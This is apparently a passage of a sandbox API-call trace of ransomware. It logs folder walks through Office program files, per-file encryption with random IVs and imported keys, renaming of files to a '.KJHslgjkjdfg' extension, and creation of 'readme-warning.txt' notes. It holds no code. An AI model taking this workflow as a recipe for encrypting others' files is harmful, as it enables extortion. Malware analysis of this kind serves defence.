hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x10c0) returned 1 [0164.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.542] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x10c0, lpOverlapped=0x0) returned 1 [0164.542] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.542] SetEndOfFile (hFile=0x114) returned 1 [0164.544] GetProcessHeap () returned 0x990000 [0164.544] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.544] GetProcessHeap () returned 0x990000 [0164.544] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0164.547] CloseHandle (hObject=0x114) returned 1 [0164.547] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0164.547] GetProcessHeap () returned 0x990000 [0164.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.547] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.547] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.547] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.547] GetProcessHeap () returned 0x990000 [0164.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.547] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.547] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.547] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.548] GetProcessHeap () returned 0x990000 [0164.548] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.548] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.548] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.548] GetProcessHeap () returned 0x990000 [0164.548] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.548] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.548] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.548] GetProcessHeap () returned 0x990000 [0164.548] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.548] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.548] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.548] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.548] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.549] RegCloseKey (hKey=0x114) returned 0x0 [0164.549] GetProcessHeap () returned 0x990000 [0164.549] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.549] GetProcessHeap () returned 0x990000 [0164.549] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.549] GetProcessHeap () returned 0x990000 [0164.549] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.549] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.549] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.549] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.549] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.549] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.549] GetProcessHeap () returned 0x990000 [0164.549] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.549] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.549] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.549] GetProcessHeap () returned 0x990000 [0164.550] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.550] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\readme-warning.txt") returned 110 [0164.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.551] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.552] CloseHandle (hObject=0x114) returned 1 [0164.552] GetProcessHeap () returned 0x990000 [0164.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.552] GetProcessHeap () returned 0x990000 [0164.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.552] GetProcessHeap () returned 0x990000 [0164.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.552] GetProcessHeap () returned 0x990000 [0164.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.552] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.552] GetProcessHeap () returned 0x990000 [0164.553] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.553] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0164.553] GetProcessHeap () returned 0x990000 [0164.553] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xcc) returned 0x9b2468 [0164.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.554] GetProcessHeap () returned 0x990000 [0164.554] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.554] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.554] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0164.554] GetProcessHeap () returned 0x990000 [0164.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2ce) returned 0x9b7e10 [0164.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.554] GetProcessHeap () returned 0x990000 [0164.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.554] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.554] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xa, lpOverlapped=0x0) returned 1 [0164.557] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.557] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.557] GetProcessHeap () returned 0x990000 [0164.557] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.557] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.557] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.557] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.557] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.558] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.558] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.558] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.558] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.558] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.558] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x646, lpOverlapped=0x0) returned 1 [0164.558] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x650, dwBufLen=0x650 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x650) returned 1 [0164.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.558] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x650, lpOverlapped=0x0) returned 1 [0164.558] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.558] SetEndOfFile (hFile=0x114) returned 1 [0164.561] GetProcessHeap () returned 0x990000 [0164.561] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.561] GetProcessHeap () returned 0x990000 [0164.561] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.kjhslgjkjdfg")) returned 1 [0164.563] CloseHandle (hObject=0x114) returned 1 [0164.563] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.564] GetProcessHeap () returned 0x990000 [0164.564] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.564] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.564] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.564] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xc, lpOverlapped=0x0) returned 1 [0164.566] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.566] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.566] GetProcessHeap () returned 0x990000 [0164.566] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.566] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.566] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.566] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.566] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.566] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.567] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.567] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.567] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.567] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.567] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x7c4, lpOverlapped=0x0) returned 1 [0164.568] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x7d0) returned 1 [0164.568] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.568] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x7d0, lpOverlapped=0x0) returned 1 [0164.568] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.568] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.568] SetEndOfFile (hFile=0x114) returned 1 [0164.572] GetProcessHeap () returned 0x990000 [0164.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.572] GetProcessHeap () returned 0x990000 [0164.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.575] CloseHandle (hObject=0x114) returned 1 [0164.576] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.576] GetProcessHeap () returned 0x990000 [0164.576] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.576] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.576] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.576] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.576] GetProcessHeap () returned 0x990000 [0164.576] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.576] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.576] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.576] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.576] GetProcessHeap () returned 0x990000 [0164.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 